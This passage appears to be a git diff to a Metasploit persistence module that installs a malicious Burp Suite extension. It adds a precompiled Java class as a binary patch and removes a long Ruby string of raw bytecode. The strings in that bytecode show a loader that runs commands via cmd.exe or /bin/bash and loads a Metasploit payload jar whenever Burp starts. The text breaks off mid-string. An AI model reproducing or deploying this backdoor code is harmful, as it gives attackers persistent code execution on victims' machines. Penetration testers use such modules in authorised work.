python3 -c "with open('burp/BurpExtender.class', 'rb') as f: print(''.join([chr(b) if 32 <= b <= 126 else '\\\\x{:02x}'.format(b) for b in f.read()]))" + 2. You'll still need to escape \ and " characters. + 3. cp burp/BurpExtender.class /data/exploits/burp_extension/precompiled.class diff --git a/data/exploits/burp_extension/precompiled.class b/data/exploits/burp_extension/precompiled.class new file mode 100644 index 0000000000000000000000000000000000000000..c12d26d963462dbfd940e59cad479dc49edfe16b GIT binary patch literal 6359 zcma)A349b+8UMe@F`LaKf#qB%u-r+2Y-v*p2~d)dlt2iW4M!+SCz~Nz*z7F3vjpmG ztJQkeqop3TS}j&$XaA zpN0zf1$={s)fU&&X@Lo~bzNgC?ZIY0G*qdm)=-0S0yXE%3smRUcbWQtkrD`=&&8Q) z_8~xd34PdTunt&$OvEG=lQm4iRDnt7aL%!tK>j^O+RUV)MoT(kr3`&opsv=VDFKR&Br}#n+N@%lz<8T^#)`$mk*J|ni)VqeBV^tCBxB9S1K-t+MmoL%KfUtm;NgHd8cx*UkN#88IFl=6MXh#rB zHC!f*C`}mBS&g_t#WD?7$}vxXIXaV!P8hDl3N)!`*02(*1g7_AQps>b6S0>ojzF_!_B{4;utjGucbMZif$1a(0>dz_=}K=+_w(gBVf~)36778EZKY zb;RN%sg5#LEu+^MPC5gPUI}ifpO3&;7RyzP#6b*eNXW9L4H$95GBzdJ55y>ZHImYm z`vm5Wxzb)#ge$XyMpmpbqC;lL+`U^a&uG{$`IbfFX4+73AQxqJvibI85>`y+zF$_h z+{dI`$a-m5F>jE-4-YgL2N(lyVSb0B5|X!Sc$`6+^?sHe7Kq7mPCDcpFm*y_U)leTE^WT zJr&wb*ZA-OfthlgI#_aspx9+Pq^Cn^yHNXZD>0H)U{^j|cO~Q8DH_N|#cc(Mw;zZa zNsAHf!-oXI7g`odm{w@FnMn+UVu`%av>%7?5g8DxeE2BSTWV&9pj3?+ne=G>F;?DU z?0vXX#x`~H;gi%{@)%*M$+M98VkGRyKdj+XxSKnxWlH1)Cg)rzcLs@2SdMc8`V2Yc zcLIB&%}gHLWSd%n&*EMcpVRPp+$TUCxpU_kZ%$6I>3?2g3g3sih1S8x)} zq|A!1Y4|$6!GyNVEj^utD(?}Srjsa~!GkKkso`6AsE`54?PXo(E$ia4Q}~Vyt%qgj zk+a#6+w4g$kAf@#K75afGi+FTnnuN}hRymx8Tyjj4>UZ2A2QwKfZKk}_tugkdFnJ| zK0HcC4YO#gc#OyvNp9J*{Zzxx@Hh((lXI;Rjq536V54CTnJijsiU{(uaRhlwM9SD5 zXB!!II1rDY;}#;VL9#a>Nq*&AlvkE4(tDrnK2B(;e~(b%!KejH2J< zlEao`tJrN?9kLAM>xLgs;b{%Ola*0c*NrS|`k)bDll+W^Kgf-G%CNrIXfqR0-P#tj zhWM6dqi3a6{83<*9c{LNZZndJ4mtLE_@Bko0SG)JH_^Xn_$!`cecrFfGsdRf=WOyt zEOMPHD;3!&_=i;Lp90Ih;J8GduqqM@9!~$(@H}4NR$%Y^tQgU~y(v9P%yXMlVbf$s z=6{K12Tug)AwyQtqHRS0C3r@~D1%7W%5bZvjZ=kSY}>;H?Hxn2%^aZYnyy&F=*|rH z8>wEoiITd@jOy{NdMYNr-N908D8|Awq3b*e%{)n@jKLV2sZ^2XF;wd;DUhCTE@>lU zPgZW(^-glIJO>7bh};z-(NrwSp0PSlB#R-Xvy-y-MXB9bT;w)O+21(Lm3yGblNB`5 z((JLtuGiR@#l}u3Uj4k~mc>D4xgF_rfrpKgpVVK@=aSkzl@!TB+EN*nCp@Qg5?6

_mE7fCb{&h{u&G+9XF0&g?QClSZ1S>8RS5^L#+^*VhOa8WIou3+Hg zP7O0I>URd7?9K~TSIUvRm#XrOh;!s9PrHW(`NA%rJ&(zVoLm^K2a~yoo#?UKhHhp3 zYMNAKC*DRqX$Q6{mK5}SZq(3a5xYZ@Aw~jkMzQJGuXFEdHBBpRrSzoZ*mO;~xXdpu z7mcd8g5^Ri6PPy^QBHZ~VO5@howC-UM=dkOZTyh8s({(%(aKoS1Wtw|4N$(Ek zMySWef`z@rp$Pd)6mpk^%+3five_qiiVoP|jrDR(A>k8EELs~G)S+Q}t2$?PrNE5# zRLV?+7{N6eWQ zCuPNP0L5&)$m&jU{KqF7hjM-?{0j3+4wuy*g}6^nixU2Fn!lPTmA?*wC==!U5<(R| zXL0#Gq#MU2H`HgLW>Fa!pT&fYClTyhd<4_8n0*uryO#twyEuzWv$(vebWyPMIF>6o ziPe3Jj$;k$^HHpADs#WtJKEpnf%V7Gl|@gJ8Y~NJ$zoeh#14vRst8t`!BHtFSdo|1 zZzLDv+XxU{$cveq>=CMzEx;kD(b(AZZJxIWTX8hCT0uS_z%F_OhiO}@jJIY#gs@Glje5P1nvlYT6yKK21K-W!`!+T|B85hSe@rWWLMGLM14>^>331@i6WgSKUrWR&&weWq zbr>7SuUt<3_5^+pHvHQTNDto>ZaUTCLcDk(lo?Ob?{cSm5HS7AKw=mMz61YSf<<}J?@^k5oxVkV+Y zv3;1!wYYs1qo}|Yg4b7KAy$ZbG>N5H zDVFofqywwP2Hr4j;cd@OtQ7{@#U5NO_F-MCg%QeTaFmxwA+4IeGNL)3_IME(}s%vIx2No(9$>bgn< z#00K*9P`9PF$q=FFCZq1DX6B#8^lx*ghu^p#56ITZ_DhrOZc`PGdVVcYdgdoF_T>U zYy?WgENW268R+Ta$=8{gqCCZSPM@>smuj~-> zsc9)%l~%EUww0krxlAnNTRD-b6}6mIMV(XmT;1!b`yv*<6PP?o2Ue?iQN;=s$5jMX zG^$u_|24uhG{_+c#@i^>t9iLANN+FlJrCstghm-){tK;D#bU|>Mrq*%iKI%>ne}{* zqD5YwUrcveM8%K0idVmssV=!!>rvhozAPc9^60z-o{o@HULmb2o{FeA%m0U-$1Dl4 x?}CQW35V!=(LkRnA}lWDa~iXIDfh7}?cWvlZ?pZoN?gTxKj+qnR { # 25hrs, you know, just in case the user doesn't open Burp for a while - 'WfsDelay' => 90_000, + # 'WfsDelay' => 90_000, 'PrependMigrate' => true }, 'Payload' => { @@ -97,7 +99,7 @@ def check if File.exist?(datastore['GRADLE']) vprint_good('Gradle found') else - CheckCode::Safe('Gradle is required on the local computer running metasploit, please install it.') + print_warning('Gradle is required on the local computer running metasploit, please install it or use precompiled action') end end @@ -144,7 +146,7 @@ def add_extension(settings_file, extension_location, extension_name) begin config_contents['user_options']['extender']['extensions'] << malicious_extension rescue NoMethodError - fail_with(Failure::Unknown, "Failed to find 'user_options' in config file: #{settings_file}, likely a project settings file, not a user one.") + fail_with(Failure::NotFound, "Failed to find 'user_options' in config file: #{settings_file}, likely a project settings file, not a user one.") end # write json write_file(settings_file, JSON.pretty_generate(config_contents, { 'space' => '', 'indent' => ' ' * 4 })) @@ -232,7 +234,9 @@ def run_local_gradle_build(extension_name) # Run gradle clean build vprint_status("Building Burp extension jar file locally in #{temp_dir}") Dir.chdir(temp_dir) do - system("#{datastore['GRADLE']} clean build") + IO.popen([datastore['GRADLE'], 'clean', 'build']) do |stdout| + stdout.each_line { |line| vprint_line line } + end end # Check if the jar file was created @@ -245,113 +249,9 @@ def run_local_gradle_build(extension_name) def compiled_extension(extension_name) # see data/exploits/burp_extension/notes.txt on how to get this content - burp_extension_class = "\xca\xfe\xba\xbe\x00\x00\x008\x01E\x0a\x00\x02\x00\x03\x07\x00\x04\x0c\x00\x05\x00\x06\x01\x00\x10java/lang/Object\x01" - burp_extension_class << "\x00\x06\x01\x00\x03()V\x0a\x00\x02\x00\x08\x0c\x00\x09\x00\x0a\x01\x00\x08getClass\x01\x00\x13()Ljava/lang/Class;" - burp_extension_class << "\x0a\x00\x0c\x00\x0d\x07\x00\x0e\x0c\x00\x0f\x00\x10\x01\x00\x0fjava/lang/Class\x01\x00\x0egetClassLoader\x01\x00\x19" - burp_extension_class << "()Ljava/lang/ClassLoader;\x08\x00\x12\x01\x00\x08name.txt\x0a\x00\x14\x00\x15\x07\x00\x16\x0c\x00\x17\x00\x18\x01\x00" - burp_extension_class << "\x15java/lang/ClassLoader\x01\x00\x13getResourceAsStream\x01\x00)(Ljava/lang/String;)Ljava/io/InputStream;\x07\x00\x1a" - burp_extension_class << "\x01\x00\x11java/util/Scanner\x09\x00\x1c\x00\x1d\x07\x00\x1e\x0c\x00\x1f\x00 \x01\x00!java/nio/charset/StandardCharsets" - burp_extension_class << "\x01\x00\x05UTF_8\x01\x00\x1aLjava/nio/charset/Charset;\x0a\x00\"\x00#\x07\x00$\x0c\x00%\x00&\x01\x00\x18" - burp_extension_class << "java/nio/charset/Charset\x01\x00\x04name\x01\x00\x14()Ljava/lang/String;\x0a\x00\x19\x00(\x0c\x00\x05\x00)\x01\x00" - burp_extension_class << "*(Ljava/io/InputStream;Ljava/lang/String;)V\x08\x00+\x01\x00\x02\\A\x0a\x00\x19\x00-\x0c\x00.\x00/\x01\x00\x0cuseDelimiter" - burp_extension_class << "\x01\x00'(Ljava/lang/String;)Ljava/util/Scanner;\x0a\x00\x19\x001\x0c\x002\x00&\x01\x00\x04next\x0a\x004\x005\x07\x006\x0c" - burp_extension_class << "\x007\x00&\x01\x00\x10java/lang/String\x01\x00\x04trim\x0b\x009\x00:\x07\x00;\x0c\x00<\x00=\x01\x00\x1bburp/IBurpExtenderCallbacks" - burp_extension_class << "\x01\x00\x10setExtensionName\x01\x00\x15(Ljava/lang/String;)V\x07\x00?\x01\x00\x13java/io/PrintWriter\x0b\x009\x00A\x0c\x00B" - burp_extension_class << "\x00C\x01\x00\x09getStdout\x01\x00\x18()Ljava/io/OutputStream;\x0a\x00>\x00E\x0c\x00\x05\x00F\x01\x00\x1a(Ljava/io/OutputStream;Z)V" - burp_extension_class << "\x0b\x009\x00H\x0c\x00I\x00C\x01\x00\x09getStderr\x08\x00K\x01\x00\x07os.name\x0a\x00M\x00N\x07\x00O\x0c\x00P\x00Q\x01\x00" - burp_extension_class << "\x10java/lang/System\x01\x00\x0bgetProperty\x01\x00&(Ljava/lang/String;)Ljava/lang/String;\x0a\x004\x00S\x0c\x00T\x00&\x01" - burp_extension_class << "\x00\x0btoLowerCase\x08\x00V\x01\x00\x17Initializing extension.\x0a\x00>\x00X\x0c\x00Y\x00=\x01\x00\x07println\x08\x00[\x01" - burp_extension_class << "\x00\x0bcommand.txt\x08\x00]\x01\x00\x03win\x0a\x004\x00_\x0c\x00`\x00a\x01\x00\x08contains\x01\x00\x1b(Ljava/lang/CharSequence;)Z" - burp_extension_class << "\x08\x00c\x01\x00\x07command\x08\x00e\x01\x00\x04.bat\x0a\x00g\x00h\x07\x00i\x0c\x00j\x00k\x01\x00\x0cjava/io/File\x01\x00\x0e" - burp_extension_class << "createTempFile\x01\x004(Ljava/lang/String;Ljava/lang/String;)Ljava/io/File;\x0a\x00g\x00m\x0c\x00n\x00\x06\x01\x00\x0cdeleteOnExit" - burp_extension_class << "\x0a\x00>\x00p\x0c\x00\x05\x00q\x01\x00#(Ljava/io/File;Ljava/lang/String;)V\x08\x00s\x01\x00\x09@echo off\x0a\x00>\x00u\x0c\x00v\x00" - burp_extension_class << "\x06\x01\x00\x05close\x07\x00x\x01\x00\x13java/lang/Throwable\x0a\x00w\x00z\x0c\x00{\x00|\x01\x00\x0daddSuppressed\x01\x00\x18" - burp_extension_class << "(Ljava/lang/Throwable;)V\x0a\x00~\x00\x7f\x07\x00\x80\x0c\x00\x81\x00\x82\x01\x00\x11java/lang/Runtime\x01\x00\x0agetRuntime\x01" - burp_extension_class << "\x00\x15()Ljava/lang/Runtime;\x08\x00\x84\x01\x00\x07cmd.exe\x08\x00\x86\x01\x00\x02/c\x0a\x00g\x00\x88\x0c\x00\x89\x00&\x01\x00" - burp_extension_class << "\x0fgetAbsolutePath\x0a\x00~\x00\x8b\x0c\x00\x8c\x00\x8d\x01\x00\x04exec\x01\x00(([Ljava/lang/String;)Ljava/lang/Process;\x08\x00" - burp_extension_class << "\x8f\x01\x00\x09/bin/bash\x08\x00\x91\x01\x00\x02-c\x08\x00\x93\x01\x00\x12XXX using jar file\x08\x00\x95\x01\x00" - burp_extension_class << "\x1eXXX getting resource as stream\x08\x00\x97\x01\x00\x18burp_extension_pload.jar\x07\x00\x99\x01\x00\x13java/lang/Exception\x08" - burp_extension_class << "\x00\x9b\x01\x00/burp_extension_pload.jar not found in resources\x0a\x00\x98\x00\x9d\x0c\x00\x05\x00=\x08\x00\x9f\x01\x00" - burp_extension_class << "\x1aXXX creating temp jar file\x08\x00\xa1\x01\x00\x14burp_extension_pload\x08\x00\xa3\x01\x00\x04.jar\x08\x00\xa5\x01\x00" - burp_extension_class << "\x18XXX writing temp content\x0a\x00g\x00\xa7\x0c\x00\xa8\x00\xa9\x01\x00\x06toPath\x01\x00\x16()Ljava/nio/file/Path;\x07\x00\xab" - burp_extension_class << "\x01\x00\x18java/nio/file/CopyOption\x09\x00\xad\x00\xae\x07\x00\xaf\x0c\x00\xb0\x00\xb1\x01\x00 java/nio/file/StandardCopyOption" - burp_extension_class << "\x01\x00\x10REPLACE_EXISTING\x01\x00\"Ljava/nio/file/StandardCopyOption;\x0a\x00\xb3\x00\xb4\x07\x00\xb5\x0c\x00\xb6\x00\xb7\x01" - burp_extension_class << "\x00\x13java/nio/file/Files\x01\x00\x04copy\x01\x00G(Ljava/io/InputStream;Ljava/nio/file/Path;[Ljava/nio/file/CopyOption;)J\x0a\x00" - burp_extension_class << "\xb9\x00u\x07\x00\xba\x01\x00\x13java/io/InputStream\x08\x00\xbc\x01\x00\x1aLoading internal pload jar\x07\x00\xbe\x01\x00" - burp_extension_class << "\x17java/net/URLClassLoader\x07\x00\xc0\x01\x00\x0cjava/net/URL\x0a\x00g\x00\xc2\x0c\x00\xc3\x00\xc4\x01\x00\x05toURI\x01\x00" - burp_extension_class << "\x10()Ljava/net/URI;\x0a\x00\xc6\x00\xc7\x07\x00\xc8\x0c\x00\xc9\x00\xca\x01\x00\x0cjava/net/URI\x01\x00\x05toURL\x01\x00" - burp_extension_class << "\x10()Ljava/net/URL;\x0a\x00\xbd\x00\xcc\x0c\x00\x05\x00\xcd\x01\x00)([Ljava/net/URL;Ljava/lang/ClassLoader;)V\x08\x00\xcf\x01\x00" - burp_extension_class << "\x12metasploit.Payload\x0a\x00\xbd\x00\xd1\x0c\x00\xd2\x00\xd3\x01\x00\x09loadClass\x01\x00%(Ljava/lang/String;)Ljava/lang/Class;\x08" - burp_extension_class << "\x00\xd5\x01\x00\x04main\x07\x00\xd7\x01\x00\x13[Ljava/lang/String;\x0a\x00\x0c\x00\xd9\x0c\x00\xda\x00\xdb\x01\x00" - burp_extension_class << "\x11getDeclaredMethod\x01\x00@(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;\x0a\x00\xdd\x00\xde\x07\x00\xdf\x0c" - burp_extension_class << "\x00\xe0\x00\xe1\x01\x00\x18java/lang/reflect/Method\x01\x00\x06invoke\x01\x009(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;" - burp_extension_class << "\x0a\x00\xbd\x00u\x07\x00\xe4\x01\x00 java/lang/ClassNotFoundException\x0a\x00\xe3\x00\xe6\x0c\x00\xe7\x00&\x01\x00\x0agetMessage\x12" - burp_extension_class << "\x00\x00\x00\xe9\x0c\x00\xea\x00Q\x01\x00\x17makeConcatWithConstants\x07\x00\xec\x01\x00\x1fjava/lang/NoSuchMethodException\x0a\x00" - burp_extension_class << "\xeb\x00\xe6\x12\x00\x01\x00\xe9\x0a\x004\x00\xf0\x0c\x00\xf1\x00\xf2\x01\x00\x07valueOf\x01\x00&(Ljava/lang/Object;)Ljava/lang/String;" - burp_extension_class << "\x0a\x00\x98\x00\xe6\x12\x00\x02\x00\xf5\x0c\x00\xea\x00\xf6\x01\x008(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;\x0a\x00" - burp_extension_class << "\x98\x00\xf8\x0c\x00\xf9\x00\xfa\x01\x00\x0fprintStackTrace\x01\x00\x18(Ljava/io/PrintWriter;)V\x08\x00\xfc\x01" - burp_extension_class << "\x00 Finished initializing extension.\x12\x00\x03\x00\xe9\x07\x00\xff\x01\x00\x11burp/BurpExtender\x07\x01\x01\x01\x00" - burp_extension_class << "\x12burp/IBurpExtender\x01\x00\x04Code\x01\x00\x0fLineNumberTable\x01\x00\x12LocalVariableTable\x01\x00\x04this\x01\x00" - burp_extension_class << "\x13Lburp/BurpExtender;\x01\x00\x19registerExtenderCallbacks\x01\x00 (Lburp/IBurpExtenderCallbacks;)V\x01\x00\x06writer\x01\x00" - burp_extension_class << "\x15Ljava/io/PrintWriter;\x01\x00\x0atempScript\x01\x00\x0eLjava/io/File;\x01\x00\x07process\x01\x00\x13Ljava/lang/Process;\x01\x00" - burp_extension_class << "\x0ecommandScanner\x01\x00\x13Ljava/util/Scanner;\x01\x00\x12Ljava/lang/String;\x01\x00\x0binputStream\x01\x00\x15Ljava/io/InputStream;" - burp_extension_class << "\x01\x00\x09mainClass\x01\x00\x11Ljava/lang/Class;\x01\x00\x0amainMethod\x01\x00\x1aLjava/lang/reflect/Method;\x01\x00\x0bclassLoader" - burp_extension_class << "\x01\x00\x19Ljava/net/URLClassLoader;\x01\x00\x01e\x01\x00\"Ljava/lang/ClassNotFoundException;\x01\x00!Ljava/lang/NoSuchMethodException;" - burp_extension_class << "\x01\x00\x15Ljava/lang/Exception;\x01\x00\x0ejarInputStream\x01\x00\x07tempJar\x01\x00\x12commandInputStream\x01\x00\x09callbacks\x01\x00" - burp_extension_class << "\x1dLburp/IBurpExtenderCallbacks;\x01\x00\x0fnameInputStream\x01\x00\x0bnameScanner\x01\x00\x0dextensionName\x01\x00\x06stdout\x01\x00" - burp_extension_class << "\x06stderr\x01\x00\x02os\x01\x00\x16LocalVariableTypeTable\x01\x00\x14Ljava/lang/Class<*>;\x01\x00\x0dStackMapTable\x07\x01-\x01\x00" - burp_extension_class << "\x11java/lang/Process\x01\x00\x0aSourceFile\x01\x00\x11BurpExtender.java\x01\x00\x10BootstrapMethods\x0f\x06\x012\x0a\x013\x014\x07\x015" - burp_extension_class << "\x0c\x00\xea\x016\x01\x00$java/lang/invoke/StringConcatFactory\x01\x00" - burp_extension_class << "\x98(Ljava/lang/invoke/MethodHandles$Lookup;Ljava/lang/String;Ljava/lang/invoke/MethodType;Ljava/lang/String;[Ljava/lang/Object;)Ljava/lang/invoke/CallSite;" - burp_extension_class << "\x08\x018\x01\x00\x12Class not found: \x01\x08\x01:\x01\x00\x18Main method not found: \x01\x08\x01<\x01\x00\x1d" - burp_extension_class << "Error loading jar file (\x01): \x01\x08\x01>\x01\x00\x1aError loading extension: \x01\x01\x00\x0cInnerClasses\x07\x01A\x01" - burp_extension_class << "\x00%java/lang/invoke/MethodHandles$Lookup\x07\x01C\x01\x00\x1ejava/lang/invoke/MethodHandles\x01\x00\x06Lookup\x00!\x00\xfe\x00\x02\x00" - burp_extension_class << "\x01\x01\x00\x00\x00\x00\x02\x00\x01\x00\x05\x00\x06\x00\x01\x01\x02\x00\x00\x00/\x00\x01\x00\x01\x00\x00\x00\x05*\xb7\x00\x01\xb1\x00\x00" - burp_extension_class << "\x00\x02\x01\x03\x00\x00\x00\x06\x00\x01\x00\x00\x00\x0c\x01\x04\x00\x00\x00\x0c\x00\x01\x00\x00\x00\x05\x01\x05\x01\x06\x00\x00\x00\x01" - burp_extension_class << "\x01\x07\x01\x08\x00\x01\x01\x02\x00\x00\x06\xac\x00\x06\x00\x10\x00\x00\x02\x84*\xb6\x00\x07\xb6\x00\x0b\x12\x11\xb6\x00\x13M\xbb\x00" - burp_extension_class << "\x19Y,\xb2\x00\x1b\xb6\x00!\xb7\x00'N-\x12*\xb6\x00,\xb6\x000\xb6\x003:\x04+\x19\x04\xb9\x008\x02\x00\xbb\x00>Y+\xb9\x00@\x01\x00\x04\xb7" - burp_extension_class << "\x00D:\x05\xbb\x00>Y+\xb9\x00G\x01\x00\x04\xb7\x00D:\x06\x12J\xb8\x00L\xb6\x00R:\x07\x19\x05\x12U\xb6\x00W*\xb6\x00\x07\xb6\x00\x0b\x12Z\xb6" - burp_extension_class << "\x00\x13:\x09\x19\x09\xc6\x00\xb7\xbb\x00\x19Y\x19\x09\xb2\x00\x1b\xb6\x00!\xb7\x00':\x0a\x19\x0a\x12*\xb6\x00,\xb6\x000\xb6\x003:\x0b\x19" - burp_extension_class << "\x07\x12\\\xb6\x00^\x99\x00o\x12b\x12d\xb8\x00f:\x0c\x19\x0c\xb6\x00l\xbb\x00>Y\x19\x0c\xb2\x00\x1b\xb6\x00!\xb7\x00o:\x0d\x19\x0d\x12r\xb6" - burp_extension_class << "\x00W\x19\x0d\x19\x0b\xb6\x00W\x19\x0d\xb6\x00t\xa7\x00\x19:\x0e\x19\x0d\xb6\x00t\xa7\x00\x0c:\x0f\x19\x0e\x19\x0f\xb6\x00y\x19\x0e\xbf\xb8" - burp_extension_class << "\x00}\x06\xbd\x004Y\x03\x12\x83SY\x04\x12\x85SY\x05\x19\x0c\xb6\x00\x87S\xb6\x00\x8a:\x08\xa7\x00\x1e\xb8\x00}\x06\xbd\x004Y\x03\x12\x8eSY" - burp_extension_class << "\x04\x12\x90SY\x05\x19\x0bS\xb6\x00\x8a:\x08\xa7\x01A\x19\x05\x12\x92\xb6\x00W\x19\x05\x12\x94\xb6\x00W*\xb6\x00\x07\xb6\x00\x0b\x12\x96\xb6" - burp_extension_class << "\x00\x13:\x0a\x19\x0a\xc7\x00\x0d\xbb\x00\x98Y\x12\x9a\xb7\x00\x9c\xbf\x19\x05\x12\x9e\xb6\x00W\x12\xa0\x12\xa2\xb8\x00f:\x0b\x19\x0b\xb6" - burp_extension_class << "\x00l\x19\x05\x12\xa4\xb6\x00W\x19\x0a:\x0c\x19\x0c\x19\x0b\xb6\x00\xa6\x04\xbd\x00\xaaY\x03\xb2\x00\xacS\xb8\x00\xb2X\x19\x0c\xc6\x00&\x19" - burp_extension_class << "\x0c\xb6\x00\xb8\xa7\x00\x1e:\x0d\x19\x0c\xc6\x00\x14\x19\x0c\xb6\x00\xb8\xa7\x00\x0c:\x0e\x19\x0d\x19\x0e\xb6\x00y\x19\x0d\xbf\x19\x05\x12" - burp_extension_class << "\xbb\xb6\x00W\xbb\x00\xbdY\x04\xbd\x00\xbfY\x03\x19\x0b\xb6\x00\xc1\xb6\x00\xc5S\x01\xb7\x00\xcb:\x0c\x19\x0c\x12\xce\xb6\x00\xd0:\x0d\x19" - burp_extension_class << "\x0d\x12\xd4\x04\xbd\x00\x0cY\x03\x12\xd6S\xb6\x00\xd8:\x0e\x19\x0e\x01\x04\xbd\x00\x02Y\x03\x03\xbd\x004S\xb6\x00\xdcW\x19\x0c\xb6\x00\xe2" - burp_extension_class << "\xa7\x00\x19:\x0d\x19\x0c\xb6\x00\xe2\xa7\x00\x0c:\x0e\x19\x0d\x19\x0e\xb6\x00y\x19\x0d\xbf\xa7\x00K:\x0c\x19\x06\x19\x0c\xb6\x00\xe5\xba" - burp_extension_class << "\x00\xe8\x00\x00\xb6\x00W\xa7\x007:\x0c\x19\x06\x19\x0c\xb6\x00\xed\xba\x00\xee\x00\x00\xb6\x00W\xa7\x00#:\x0c\x19\x06\x19\x0b\xb6\x00\xa6" - burp_extension_class << "\xb8\x00\xef\x19\x0c\xb6\x00\xf3\xba\x00\xf4\x00\x00\xb6\x00W\x19\x0c\x19\x06\xb6\x00\xf7\x19\x05\x12\xfb\xb6\x00W\xa7\x00\x14:\x09\x19\x06" - burp_extension_class << "\x19\x09\xb6\x00\xf3\xba\x00\xfd\x00\x00\xb6\x00W\xb1\x00\x0a\x00\xbf\x00\xcd\x00\xd5\x00w\x00\xd7\x00\xdc\x00\xdf\x00w\x01u\x01\x8a\x01\x97" - burp_extension_class << "\x00w\x01\x9e\x01\xa3\x01\xa6\x00w\x01\xd2\x01\xff\x02\x07\x00w\x02\x09\x02\x0e\x02\x11\x00w\x01\xb9\x02\x1d\x02 \x00\xe3\x01\xb9\x02\x1d" - burp_extension_class << "\x024\x00\xeb\x01\xb9\x02\x1d\x02H\x00\x98\x00\\\x02o\x02r\x00\x98\x00\x04\x01\x03\x00\x00\x00\xf2\x00<\x00\x00\x00\x10\x00\x0d\x00\x11\x00" - burp_extension_class << "\x1c\x00\x12\x00*\x00\x13\x002\x00\x16\x00B\x00\x17\x00R\x00\x1a\x00\\\x00\x1e\x00c\x00!\x00q\x00#\x00v\x00%\x00\x87\x00&\x00\x96\x00(\x00" - burp_extension_class << "\xa0\x00*\x00\xa9\x00+\x00\xae\x00.\x00\xbf\x00/\x00\xc6\x000\x00\xcd\x001\x00\xd5\x00.\x00\xeb\x004\x01\x09\x005\x01\x0c\x007\x01'\x009" - burp_extension_class << "\x01*\x00:\x011\x00<\x018\x00=\x01F\x00>\x01K\x00?\x01U\x00C\x01\\\x00D\x01e\x00E\x01j\x00G\x01q\x00H\x01u\x00I\x01\x8a\x00J\x01\x97\x00H" - burp_extension_class << "\x01\xb2\x00M\x01\xb9\x00N\x01\xc5\x00O\x01\xd2\x00R\x01\xdb\x00S\x01\xed\x00T\x01\xff\x00U\x02\x07\x00N\x02\x1d\x00\\\x02 \x00U\x02\"\x00V" - burp_extension_class << "\x021\x00\\\x024\x00W\x026\x00X\x02E\x00\\\x02H\x00Y\x02J\x00Z\x02a\x00[\x02h\x00_\x02o\x00b\x02r\x00`\x02t\x00a\x02\x83\x00c\x01\x04\x00" - burp_extension_class << "\x00\x00\xfc\x00\x19\x00\xbf\x00,\x01\x09\x01\x0a\x00\x0d\x00\xa9\x00`\x01\x0b\x01\x0c\x00\x0c\x01\x09\x00\x03\x01\x0d\x01\x0e\x00\x08\x00" - burp_extension_class << "\x87\x00\xa0\x01\x0f\x01\x10\x00\x0a\x00\x96\x00\x91\x00c\x01\x11\x00\x0b\x01'\x00\x03\x01\x0d\x01\x0e\x00\x08\x01u\x00=\x01\x12\x01\x13\x00" - burp_extension_class << "\x0c\x01\xdb\x00$\x01\x14\x01\x15\x00\x0d\x01\xed\x00\x12\x01\x16\x01\x17\x00\x0e\x01\xd2\x00K\x01\x18\x01\x19\x00\x0c\x02\"\x00\x0f\x01\x1a" - burp_extension_class << "\x01\x1b\x00\x0c\x026\x00\x0f\x01\x1a\x01\x1c\x00\x0c\x02J\x00\x1e\x01\x1a\x01\x1d\x00\x0c\x01F\x01\"\x01\x1e\x01\x13\x00\x0a\x01e\x01\x03" - burp_extension_class << "\x01\x1f\x01\x0c\x00\x0b\x00q\x01\xfe\x01 \x01\x13\x00\x09\x02t\x00\x0f\x01\x1a\x01\x1d\x00\x09\x00\x00\x02\x84\x01\x05\x01\x06\x00\x00\x00" - burp_extension_class << "\x00\x02\x84\x01!\x01\"\x00\x01\x00\x0d\x02w\x01#\x01\x13\x00\x02\x00\x1c\x02h\x01$\x01\x10\x00\x03\x00*\x02Z\x01%\x01\x11\x00\x04\x00B" - burp_extension_class << "\x02B\x01&\x01\x0a\x00\x05\x00R\x022\x01'\x01\x0a\x00\x06\x00\\\x02(\x01(\x01\x11\x00\x07\x01)\x00\x00\x00\x0c\x00\x01\x01\xdb\x00$\x01\x14" - burp_extension_class << "\x01*\x00\x0d\x01+\x00\x00\x01\xba\x00\x16\xff\x00\xd5\x00\x0e\x07\x00\xfe\x07\x009\x07\x00\xb9\x07\x00\x19\x07\x004\x07\x00>\x07\x00>\x07" - burp_extension_class << "\x004\x00\x07\x00\xb9\x07\x00\x19\x07\x004\x07\x00g\x07\x00>\x00\x01\x07\x00w\xff\x00\x09\x00\x0f\x07\x00\xfe\x07\x009\x07\x00\xb9\x07\x00" - burp_extension_class << "\x19\x07\x004\x07\x00>\x07\x00>\x07\x004\x00\x07\x00\xb9\x07\x00\x19\x07\x004\x07\x00g\x07\x00>\x07\x00w\x00\x01\x07\x00w\x08\xf9\x00\x02" - burp_extension_class << "\xfa\x00 \xff\x00\x1a\x00\x0a\x07\x00\xfe\x07\x009\x07\x00\xb9\x07\x00\x19\x07\x004\x07\x00>\x07\x00>\x07\x004\x07\x01,\x07\x00\xb9\x00\x00" - burp_extension_class << "\xff\x00\x02\x00\x0a\x07\x00\xfe\x07\x009\x07\x00\xb9\x07\x00\x19\x07\x004\x07\x00>\x07\x00>\x07\x004\x00\x07\x00\xb9\x00\x00\xfc\x00*\x07" - burp_extension_class << "\x00\xb9\xff\x00A\x00\x0d\x07\x00\xfe\x07\x009\x07\x00\xb9\x07\x00\x19\x07\x004\x07\x00>\x07\x00>\x07\x004\x00\x07\x00\xb9\x07\x00\xb9\x07" - burp_extension_class << "\x00g\x07\x00\xb9\x00\x01\x07\x00w\xff\x00\x0e\x00\x0e\x07\x00\xfe\x07\x009\x07\x00\xb9\x07\x00\x19\x07\x004\x07\x00>\x07\x00>\x07\x004\x00" - burp_extension_class << "\x07\x00\xb9\x07\x00\xb9\x07\x00g\x07\x00\xb9\x07\x00w\x00\x01\x07\x00w\x08\xf9\x00\x02\xff\x00T\x00\x0d\x07\x00\xfe\x07\x009\x07\x00\xb9" - burp_extension_class << "\x07\x00\x19\x07\x004\x07\x00>\x07\x00>\x07\x004\x00\x07\x00\xb9\x07\x00\xb9\x07\x00g\x07\x00\xbd\x00\x01\x07\x00w\xff\x00\x09\x00\x0e\x07" - burp_extension_class << "\x00\xfe\x07\x009\x07\x00\xb9\x07\x00\x19\x07\x004\x07\x00>\x07\x00>\x07\x004\x00\x07\x00\xb9\x07\x00\xb9\x07\x00g\x07\x00\xbd\x07\x00w\x00" - burp_extension_class << "\x01\x07\x00w\x08\xf9\x00\x02B\x07\x00\xe3S\x07\x00\xebS\x07\x00\x98\xf9\x00\x1f\xff\x00\x09\x00\x08\x07\x00\xfe\x07\x009\x07\x00\xb9\x07\x00" - burp_extension_class << 